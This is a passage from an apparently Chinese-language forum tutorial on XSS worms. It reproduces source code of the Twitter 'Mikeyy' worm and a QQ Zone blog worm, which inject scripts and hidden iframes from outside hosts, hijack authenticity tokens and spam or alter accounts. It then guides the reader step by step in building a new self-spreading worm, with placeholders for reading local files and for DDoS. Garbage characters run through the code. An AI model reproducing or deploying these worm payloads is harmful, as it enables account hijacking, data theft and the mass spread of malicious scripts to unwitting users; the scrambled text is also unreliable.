"></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];
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: N. k! }; ^6 \2 E+ v 2.
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3. function XHConn(){ ! [' X1 q0 _; `; u% u% ^+ l; Y
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4. var _0x6687x2,_0x6687x3=false;
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5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }
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6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); } ! A& I: g: ~+ M% z. d7 [" K
( W& g, r) X4 L) h; H1 Z 7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); }
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8. catch(e) { _0x6687x2=false; }; }; };
% {) ]( L6 O( `2 F复制代码第六版: 1. function wait() {
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3 R- S) u/ v |3 p 2. var content = document.documentElement.innerHTML;
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3. var tmp_cookie=document.cookie;
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% L, N3 m4 ]* G% ~$ o. W; | 4. var tmp_posted=tmp_cookie.match(/posted/); 2 ~) V# }3 p a2 Z: g
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5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
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! q' n4 Z+ X6 {& z 6. var authtoken=authreg.exec(content); 6 f1 i, P& ?8 N' G. r
& {" m7 r4 A, a- r h1 N 7. var authtoken=authtoken[1];
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8 I' K- p d% f2 s9 v 8. var randomUpdate= new Array();
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; z9 j2 y% i) a- W, p 9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
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10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy."; * n( o# G! x/ x
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11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
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: W+ C6 ^% Q1 g 12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy."; . P' x' T9 `7 i/ {' _# D: o9 o
1 M4 Y, Z- S) B* P7 q# u& L' F 13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy."; 9 {# R; M9 M3 T9 X$ E# |2 t
* _! y. G) l- `7 ]$ ^ 14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
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o' v0 V5 _1 D, `" C/ Q1 I$ j 15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy."; * ~$ a9 t6 d3 w8 t9 N: s9 x# [( B
8 y% U9 ^. ~! O 16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy."; 3 `$ @ ?; U, y
3 b3 W; F3 r, ^ 17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
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. A' J* t% V, C8 k0 A) E, K& ]2 ? 18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";
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19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy."; & c3 {3 U& C8 g& U( u+ `5 ?
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20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
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3 v1 [2 `: M& p1 O* a 21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";
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22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
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23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";
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24.
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7 i1 S" l' u+ l0 M3 J 25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
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26. var updateEncode=urlencode(randomUpdate[genRand]); 8 M! B( ~1 w4 h$ ^
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27.
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28. var ajaxConn= new XHConn();
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- V6 A8 @* A$ a z3 K3 q 29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true"); 9 t T. E( O# k
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30. var _0xf81bx1c="Mikeyy"; 3 s# A" F# G( r0 j7 q; _7 n* d
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31. var updateEncode=urlencode(_0xf81bx1c); ) S8 E/ u/ e9 i8 v ^5 G' i, @
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32. var ajaxConn1= new XHConn();
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1 v }% [2 j8 w0 j 33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save"); $ [/ l7 W4 O2 ]' F' s' G1 V
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34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
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|! V$ n- G# s 35. var XSS=urlencode(genXSS);
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36. var ajaxConn2= new XHConn();
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' l, I4 H; |; f; F 37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");
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38. 4 ~5 j3 o( K! k. D- u
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39. } ; ) |% L9 y# C) o( a
& F" f) {9 w0 h/ R 40. setTimeout(wait(),5250);
p) V4 ?0 ^" ` S2 G复制代码QQ空间XSSfunction killErrors() {return true;}2 y& ]& u6 F! ?9 M% u# H3 I9 V
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window.onerror=killErrors;- @; w: o# b; s4 B/ b
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# D+ [# G3 ]; Y* _( Uvar shendu;shendu=4;3 [1 f/ K8 l y/ u7 ^* o
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//---------------global---v------------------------------------------0 o4 R3 X: j. C" V% [
9 c8 M7 A0 }: |- [. E. \* ?) N//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?
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var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";' s- n. z) k7 F7 W2 |/ `
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var myblogurl=new Array();var myblogid=new Array();
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: t' }! `! d- n6 d7 j9 a; X var gurl=document.location.href;: ^8 y' Z! I# N
$ ^3 c2 |' {) B$ C var gurle=gurl.indexOf("com/");
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4 n5 E0 [0 M- R6 Y& Q7 Y( p gurl=gurl.substring(0,gurle+3); 4 e: `7 {3 ?& I* [+ O# |
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var visitorID=top.document.documentElement.outerHTML;3 D- R; V9 J8 M; Q
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var cookieS=visitorID.indexOf("g_iLoginUin = ");
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7 ]# H, j# v) u7 Y visitorID=visitorID.substring(cookieS+14);
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cookieS=visitorID.indexOf(",");# [% w4 c R) S7 z' M: E
" O2 ?: [7 X6 N6 C( d( d! s1 ^9 W m visitorID=visitorID.substring(0,cookieS);
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get_my_blog(visitorID);
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DOshuamy();
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% z0 _$ H! {0 H0 V: d+ O! ~
//挂马9 w( N/ y0 O5 v1 V; g. m4 d
$ w. r3 U. ~- H0 sfunction DOshuamy(){0 @( S. C' J% }+ Y& k
& q: k1 d2 N8 @7 b0 m+ Z8 |var ssr=document.getElementById("veryTitle");
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ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
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6 V- O" Z4 j$ |9 g& t5 I8 f% a//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?# b$ g/ S6 L; R6 w. T/ j9 J' ^
2 a/ H; L& r$ K# i8 Vfunction get_my_blog(visitorID){
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userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
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xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象
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5 G& B* h+ J- y" j, y. c+ d if(xhr){ //成功就执行下面的" a( J# p- j1 m- Y2 {
1 `; L6 y- w2 I- D5 H! M. @ xhr.open("GET",userurl,false); //以GET方式打开定义的URL; z4 U6 C6 K" C2 l7 f
3 e/ i+ N& i+ [! Q" [1 ^ xhr.send();guest=xhr.responseText;0 h! T7 |5 J, K3 [
( i, L S; k$ W( |4 h& K get_my_blogurl(guest); //执行这个函数
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//这里似乎是判断没有登录的
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" J' G0 J( l, o, ~" c& hfunction get_my_blogurl(guest){
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& g( R2 T; ~: n# B9 B var mybloglist=guest;
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) ?- Q) S7 B$ D+ S0 w1 a- \ var myurls;var blogids;var blogide;. d x7 g* S1 M9 m8 f# F
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for(i=0;i<shendu;i++){
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myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了
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v; o# C6 ]# i+ H if(myurls!=-1){ //找到了就执行下面的$ j' }# T/ K; Z+ ~! m+ O5 C
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mybloglist=mybloglist.substring(myurls+11);9 d5 G3 x# s* X6 V8 d; Y# R
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myurls=mybloglist.indexOf(')');
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myblogid=mybloglist.substring(0,myurls);+ S: R! _6 ]9 J) V# d
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}else{break;}
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get_my_testself(); //执行这个函数
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}
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+ ]: y" `9 s: D8 M% g; C4 w" H( x: Z" W t- B( H
2 e3 H7 ]& A7 U//这里往哪跳就不知道了8 N' V" Y: i$ T. T) [1 @5 H
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function get_my_testself(){/ @; q& `0 F0 }
3 [; M$ }, Y+ x8 ?! n3 w for(i=0;i<myblogid.length;i++){ //获得blogid的值6 k. O1 o- z) G, `, X
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var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();% T% f" @* z: K) a4 x( T
/ [: z' t5 Q. ^
var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象
+ L! j6 ~' }9 s) ~5 Q. R$ P! C: Y9 C) W$ _. v5 u3 S
if(xhr2){ //如果成功
5 i: y/ B0 K8 B" g8 d% s$ L3 h2 A. k* V9 [2 A1 F+ B
xhr2.open("GET",url,false); //打开上面的那个url7 D7 c$ a$ }5 \" h3 e- X
: @8 w9 Q$ N2 Y4 P5 A: d6 D# y
xhr2.send();
! t+ H1 v; D0 o+ n% i, `3 x1 g2 a( u7 u! T0 ?
guest2=xhr2.responseText;
3 w0 n1 l7 k# q& P" \+ g
/ U2 W. z1 Z4 s; n; D var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?
! r9 Z( |5 S9 [! W; j% b# ^+ K/ a! }
var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串% P: Y: S, l5 X
+ h% G9 z( E. N* S if(mycheckmydoit!="-1"){ //返回-1则代表没找到
! T9 T* [9 C3 R8 L
0 h; T) y5 E* i( { L targetblogurlid=myblogid; + s8 n$ B/ s/ ~/ ^( v) s7 R
% h# d& V% \3 F! { x0 u$ N$ S add_jsdel(visitorID,targetblogurlid,gurl); //执行它7 t I: b( l f, m3 u
6 e; J0 D0 R0 l
break;: c/ A, y( ~& G5 Y7 Z
. ?3 A; I: P. k3 W% s
}, T$ N2 h1 g9 D" V3 y- j9 P
" E0 F7 l: M& H1 n1 H* |1 o
if(mycheckit=="-1"){! c+ l) r! u2 k
* E3 A% W, g+ w/ i) z$ s3 j targetblogurlid=myblogid;' G1 R) \/ }2 }2 \( e
, G e& j8 v k( N/ o8 f/ r add_js(visitorID,targetblogurlid,gurl); //执行它0 }/ i" L, q4 R! ~; R
7 I( H) I1 Q2 q
break;
2 X; R3 u2 W- w& k/ H e" L0 J0 n/ j- g3 T/ ?: }
}
% y6 j5 n/ x- D& t5 Q# ^, }2 P+ ^0 ?( `& g
}
8 K6 f6 d# x _' j" j1 E8 g8 }4 k; N
}
' c' I: y1 W3 w7 ?4 z9 l
% O. W9 D. f( t: `! d/ x( l- R; F}
- {+ j6 m$ f, z2 Z
2 Z4 }8 M( b0 {; B) `
( A- ?& C3 [9 @) @0 Z' v9 C0 b% _: b: s' R: |4 T3 p+ F
//-------------------------------------- 1 l8 T# J% r' e, m0 W$ e
# F- j2 {+ W, k3 K s- N
//根据浏览器创建一个XMLHttpRequest对象+ N8 K- q2 h, k$ `9 W3 a% x# D; n% g
$ H' [6 R$ H. u
function createXMLHttpRequest(){" ~' A1 }8 U5 e( T& z
. D# C# F0 d0 Q" M9 }1 I( Z( y var XMLhttpObject=null; , b Z6 a& ?0 Z% s- `
3 z/ Q `9 x5 a3 P8 R, t
if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()} 2 y5 K: Y: y7 `
. { P$ l( {( i5 i else ' ?' @; D0 X) R2 s( r$ U t8 ~
$ p( w: _ I% Y: d/ N' v
{ var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
2 o5 L- i9 z& u7 }" \8 Z$ k$ D
, m- m$ c I& ] for(var i=0;i<MSXML.length;i++) " T. @. \3 }5 m7 D
; S/ A5 ]9 f% e3 K
{ % v, P; G, @! H) o' T
7 p% Q# t$ F& F8 s; ` try
" q4 M& Q7 C- S3 r$ H6 }) l
! [) s$ I O2 z! [% Q {
9 k/ d/ A/ `. W3 L5 O* S7 J
* v7 {8 L* b' g% J. d$ `% E1 w XMLhttpObject=new ActiveXObject(MSXML); 4 o, x q: T, V- z/ V; }
2 I- e! Q: _/ y& }* t g
break;
# R& L3 c( W P. V5 ]1 O% V7 }2 x0 \4 M0 ~( L8 ?8 X+ k" n2 N
} 3 U) S+ j/ Y5 G5 n) `
5 s% X6 v- a1 x% | catch (ex) { # l& }# ]9 X5 n6 q! \
9 E$ g6 l6 m: O) g2 [- j z
} 6 d- n6 J h3 P% ?2 H
, p# O4 {7 b1 k; s* S } ; _% E) ~ C7 L6 U2 u8 a/ x) m
, f, M/ w( o" `4 H! P- |+ r& F1 R }
$ q4 E( z0 g( O |% P `
; R: h: Y& F* n+ p" Ireturn XMLhttpObject;; V O: ~( S& ]! Q! q7 q) r
! ~* R& d* w: Z- G6 Y2 R} v3 n) F' Y8 D' W( X; c
& {. X5 u% ]2 z5 K+ X/ u
* K' u1 g9 V1 X( q
/ ?: f& f4 F+ t3 G//这里就是感染部分了
* F8 Q5 [' Q; V# f, D8 E+ |9 {- \' `+ M% @. V; i; W# b* ^
function add_js(visitorID,targetblogurlid,gurl){' A% X5 s( `3 A5 d7 c+ b
8 z& u$ K3 Y6 X9 Z. uvar s2=document.createElement('script');' {$ D9 g9 k0 M3 D3 A$ G' d
( d3 z. W# \( U5 c! F! p2 I3 us2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();/ m' N6 r. M" C
6 F v1 ]6 F5 D/ D' f* W' c
s2.type='text/javascript';( `4 d$ y. e. G$ ~' ?2 D5 |
- z+ r, E8 @0 a: Ndocument.getElementsByTagName('head').item(0).appendChild(s2);
- D& J' p2 W- a# J# K
4 v, L h$ Z$ X: D: M}5 Q" T' C/ s1 r; T$ V
: K+ y9 K, m X' |$ C! R
, p2 s/ O( Z& a0 q3 P
8 Z2 S- d; A" \- k& {function add_jsdel(visitorID,targetblogurlid,gurl){
" k, \# A' A& D/ J; f/ a$ {1 N \4 g
var s2=document.createElement('script');1 X( _4 d3 U' [7 p' F% q
! [+ Z* j( p# e, p5 @s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();* l% Z z% j- ^& g# O( ^* d
; H6 y6 d2 {- j' X; d2 K, w
s2.type='text/javascript';
" i- ?+ c7 w& R4 M* N0 P o! P5 r7 a0 t4 i) L
document.getElementsByTagName('head').item(0).appendChild(s2);
; @0 {( @* l1 W* P' ~: s2 ^& s% T5 g0 s0 W
}% s% m/ m2 ^" V# p# `* q
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
' ]) Z7 e) K. ?- ~% q1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
4 s3 K$ e+ U$ R- m
* X: v, B1 t3 A( O; h. K2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)2 {7 M) j; z8 ?9 l( B; s
& y# }& p- y7 [" i% G& ?+ I' P
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
9 ?2 [1 l+ x1 U1 R! @
' ^+ b% T. i( x) x6 Q, G G/ u4 _2 j% x/ X/ I& n. l
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
- Q; [5 L( [/ a7 F) J% r+ h
( g7 j/ A) A' E. h" Q首先,自然是判断不同浏览器,创建不同的对象var request = false;
% M. s0 ^8 ?/ Z/ i) Y+ Y' n- H9 w7 y9 B
if(window.XMLHttpRequest) {2 p) o% G; h" |- d# r
' q0 V3 H6 F- Y _, Crequest = new XMLHttpRequest();
5 a, U* e6 l2 ` I: _; B3 u* r. M$ W V+ A
if(request.overrideMimeType) {8 E8 _ M* `2 l0 C& ~
L2 t" l- B' J8 c0 Z, X7 l. d: b0 b
request.overrideMimeType('text/xml');+ J" P/ X/ z& H* M9 u; H g/ j7 l9 h
, I8 f+ k: w- J
}
$ ?4 _3 o9 p0 W- R( C
$ j0 b- p- S( V} else if(window.ActiveXObject) {
$ Z' F7 w% A: R0 { ^( g( h9 F( y5 y1 w
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];, T N5 W3 o- d4 ]; A$ I
R1 Y! I" T9 o4 B. J% g1 p. d Efor(var i=0; i<versions.length; i++) {; Y# c1 G S) d
5 O3 R5 ?. r5 ?
try {$ W8 W& p D- \1 |3 `% N! h
+ h. d! z) L- e% p) Trequest = new ActiveXObject(versions);
/ [1 Q; D7 ~" T$ N2 p( F2 q/ l$ q+ _- ^
} catch(e) {}. l. ~" J. x* ?4 |0 r! l
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}+ P- ~& a$ y' i' o8 L) L
- o7 y; s3 K% @4 ^+ s
}6 q2 q' j8 S$ X1 b7 E6 \
8 ^* \: \: q) Y- M: ^, T) zxmlHttpReq=request;
7 n+ y' c/ H, S2 Z# s$ t) z复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){
. o' C4 Z8 V' T0 Q( a% R) s$ X# u; i' ~: A
var Browser_Name=navigator.appName;- c4 s# q, e- B% H3 F- Y n
+ J; u$ L- K( r# F
var Browser_Version=parseFloat(navigator.appVersion);9 Y* x$ c- e% W% Y
1 h; Z9 u( n- X) ~: _' q
var Browser_Agent=navigator.userAgent;2 @- ]/ X+ @+ F% |# }
9 X- j( h- ?, ~7 b
, [4 i& u9 a7 _
9 \3 _# E) f9 e" T+ H var Actual_Version,Actual_Name;7 O3 W3 E( W- K# w0 O
, ~: u& ]3 e' V" ^5 I& U' Y
2 A m1 D% L( Y
9 |6 K" w4 y, ^) b0 V) E( I9 a) W5 k: C var is_IE=(Browser_Name=="Microsoft Internet Explorer");
: \$ N8 M0 U* v1 Z3 R
8 I6 w, v2 p7 {" w6 } var is_NN=(Browser_Name=="Netscape");
+ W" j6 g- d' p! R, N4 |6 M/ Q) k
var is_Ch=(Browser_Name=="Chrome");1 w; V9 K! b1 l- [# H
' U _3 {6 z& u" i. M4 {: \
' x: ?! X- a9 ?7 s* n
, [8 ]& b c3 A% o3 P; l b if(is_NN){% Y ?! E: I c5 d: b/ r$ }2 V0 T
% R* u1 {4 q1 J3 [9 i
if(Browser_Version>=5.0){
2 f0 N s# ~ k+ ~9 y1 N |# h8 y
! ?- S9 p3 M9 B5 v# S var Split_Sign=Browser_Agent.lastIndexOf("/");/ k6 c+ {7 W2 v; C, M2 A' K
3 L. K8 J: \1 p9 @) ^1 d var Version=Browser_Agent.indexOf(" ",Split_Sign);7 |- s V- Z6 s/ n1 o6 _
$ ?0 _" h9 v0 e% q: Y, H var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);. j! P* Y; K% B6 a- x* d
* n( G9 w7 A6 v4 ^& L6 f4 j* a! q1 Y
# h' o$ @* J8 K6 K: Q
' |! H8 k, A1 n Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
3 P# U# \5 f5 q9 r/ |: L7 C0 m
+ R& r5 L7 O7 p5 g Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);- X2 h) P9 b9 q, C* Z3 o. A
) l5 ?( P9 E: A" x9 [7 i }/ \, d$ _- w1 `& E
* X i @" _ Q5 c else{; y. _ \* v g! m3 X
( p6 G+ N/ ~8 s( W& S$ n Actual_Version=Browser_Version;) J9 g3 A1 g- G2 n: y2 C+ w A
- S% W8 a0 W" n$ s8 _
Actual_Name=Browser_Name;
, w& O5 \8 }% g2 u7 g2 E8 I! M7 I2 h. a. J# h
}
" L1 v2 n, l( q5 B) m. q: Z Y- f$ Y* D( Y' D2 b: J/ R' I
}
9 J0 c0 t( s& U
; @7 ~* u( [) I) W* r& v. z8 f4 E1 F else if(is_IE){8 Z0 D) V* E7 Z2 p9 R- d* Z4 l$ c+ \ t1 J
c j/ e1 H* l/ [) a' } var Version_Start=Browser_Agent.indexOf("MSIE");
( B4 v: t, f P z! \$ n
* l7 o& S- P( p2 l var Version_End=Browser_Agent.indexOf(";",Version_Start);
0 Q2 q5 ^+ ]# R: X
; S+ T! y0 ?4 M6 ^9 ^7 ~ Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)+ i, T! ~+ [* E8 n
# j# K2 W" p5 W4 a0 b
Actual_Name=Browser_Name; j, k8 D! w) a4 k& E
. i- J" B& r% @
: ~7 s! g% X/ e3 N3 `2 N3 Y; s9 F8 B8 @7 n, ]. |5 x) g2 z8 R- D
if(Browser_Agent.indexOf("Maxthon")!=-1){( Y0 u, y: ^* E# ~/ f/ I K
7 l: t/ d/ A& w/ z. v% R$ v* g w8 I
Actual_Name+="(Maxthon)";
3 t% `/ i; a4 P
^8 G7 D8 n' V* t2 ^# R }: K) T4 A& N/ }( I) }. c
/ f2 h6 M6 Q- ]# H, K* T
else if(Browser_Agent.indexOf("Opera")!=-1){4 K7 K' v! L5 }, N
# X" p) V' ?9 m4 |# p& S8 q6 E Actual_Name="Opera";1 N: |# L5 ]" ~; a1 V5 C4 {8 ~
! ]$ r6 T& l! e# |3 I
var tempstart=Browser_Agent.indexOf("Opera");
( U5 ~. c, l1 a9 v
4 @6 c; d1 |2 q' g var tempend=Browser_Agent.length;9 N7 ?2 n' d/ D! ]
* f2 @3 s$ x | Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
& e, T/ Z6 o/ P/ Z( V- ?: h- G* v
}$ _+ v9 _( M" a9 P1 u( ^) F4 z
( t+ m! d: D5 F, W0 Z" V, X7 [. [. ]
}
( |5 e& h. O/ {% ^: q* w/ `$ V) N7 _3 t
else if(is_Ch){* F5 E; {; @3 ]# ~# f( C+ }
9 m2 d! g4 {3 Y% H& P
var Version_Start=Browser_Agent.indexOf("Chrome");+ }" Q% n; _- Q+ ~4 w2 ^/ r+ z
# u: j3 j0 Y# b( H7 u1 Y var Version_End=Browser_Agent.indexOf(";",Version_Start);3 {6 b- r' P% I3 B: E
& X: c: e- d4 Y p4 @2 I7 j! y7 Y2 \) \
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
: p. c b) p1 |) z9 I; \% k9 R/ O2 s
Actual_Name=Browser_Name;
2 O7 u5 N5 ]1 o) n2 {
( B; u* Z2 p$ C6 {
- r& w. `# E- T' O, w) x/ Z0 E' O: {
if(Browser_Agent.indexOf("Maxthon")!=-1){
0 I+ j, [# V3 ?" c! L
, |' m) O* C( S+ t( r2 t Actual_Name+="(Maxthon)";0 F; h' m2 s! {* i: S3 Y( S/ r# f
7 F: o! Q: B2 w
}
p9 y# o' w( t/ ~ J7 q6 v6 [3 b4 l4 h& D$ J
else if(Browser_Agent.indexOf("Opera")!=-1){3 {/ E; Q0 ~( B/ w
& j+ a& n/ L0 g# h& `6 G
Actual_Name="Opera";+ v5 ]# y$ g- Z0 s" m* j
& ]" _ W* c: z; { var tempstart=Browser_Agent.indexOf("Opera");
j3 x, m7 \# ~5 h- x! B1 }) n' d& D, j- m l R" G
var tempend=Browser_Agent.length;
" y4 g) K! C E
8 ^9 `. Z) F/ u2 T% ] Actual_Version=Browser_Agent.substring(tempstart+6,tempend)% }# G, y, U3 g' R. Z& h% S
3 y9 X6 u% _1 h% g/ d; n
}4 E ^# Y" B. B8 l4 t! {, {
7 @* Q% A5 `6 B2 t* t5 K* ]* u" O
}/ a( w* O. u( O* }4 Q" t4 U
! t" Q2 p0 G+ G L7 y3 C& Z# q% T
else{9 O, K1 J5 J# I K
, c, Z1 O; n' _7 H Actual_Name="Unknown Navigator"
2 N- L4 I: a y7 [" `4 p& M
- x& f6 w9 X8 R2 @3 J$ i* c; m Actual_Version="Unknown Version"
8 q" g' ^7 f; M* @4 J
& S6 g! K- S2 _- o5 B }
, a' o3 F2 h& X, X0 B7 U2 J2 v( ?$ w) L
( A2 u! m# G9 s; e5 A2 I u' ^
3 y0 z, a) k5 l navigator.Actual_Name=Actual_Name;3 U+ v0 \3 m9 d' G( `( l
6 q7 u8 K: E# I- U+ I
navigator.Actual_Version=Actual_Version;
8 G6 F: q4 g, _ }- k& \$ |: i, k G) O- g' J+ z! s
+ @7 `+ {; M' o8 w" {' D
# H* E5 P1 `7 H+ Q3 g) M9 P this.Name=Actual_Name;; r2 O6 T( l% S$ u- h* g
$ Z; B: n# U' T" o K this.Version=Actual_Version;2 R" z5 ^, g& [8 ~# y' m- S
( \" m% C( v) n+ `2 o
}' \* }' }; f" @$ A6 d0 M& c
0 s! F: r7 D5 Z U
browserinfo();' D3 O" K6 G, ~/ Z; P3 R+ B! ^
: Z' f$ e. X0 _9 g
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}& ^ I! { J' n9 M
2 P) a5 I0 v! M2 ^+ z& v if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
& [. l& h' V/ K3 s- ^1 o* v
2 T+ u, s! U2 s+ t0 k if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
4 U; J3 l+ u6 x' f3 K6 X* C: I N) B6 e
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}$ i$ @& e" h5 f; ^% B* f
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
9 w! T. h$ D- ~ ?3 c复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码. k$ V* f/ E$ Y) Z1 C7 C6 h ?1 w
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.
$ G4 u- z; @9 G5 u% C" t6 | i! Q( g% O6 j% k) U/ |4 [) V
xmlHttpReq.send(null);+ X6 V) ~5 [" h: b
$ P |0 `) M; E, ^# y& h& lvar resource = xmlHttpReq.responseText;+ n8 _" t4 a" P( E
9 |3 D7 L( o' M, \& e; t% w
var id=0;var result;8 n5 V& |! ^0 B6 N2 u
1 [1 `$ |* f3 Nvar patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
, E+ l5 a I4 Q0 ]8 Q& k% d- G5 V
: W2 z: o t! S( q4 _4 lwhile ((result = patt.exec(resource)) != null) {
7 q8 k2 b' |1 W" ]8 S
, M4 [9 i3 [% [id++;5 \. a: E& y+ _/ {
5 u3 W2 e- s) n}) o' z2 I, M: o! q+ { `
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.
" S' B3 W& d- s2 i4 _# V8 f* |, f/ u
no=resource.search(/my name is/);! O" o8 D3 \3 M6 [; b% g1 X
( G6 N# _* O1 a- Qvar wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.; Z* j$ b4 {2 O6 T3 \1 j I7 I4 O/ U
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var post="wd="+wd;: ?: I! {8 Q4 p5 ?8 {* a" [
$ x& \; a% T5 J8 OxmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.) A* `. ], n3 _ M
$ W0 k+ V6 w( m' ~xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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xmlHttpReq.setRequestHeader("content-length",post.length);
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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- M2 I1 M/ @: C( T7 ?. p0 ]xmlHttpReq.send(post);
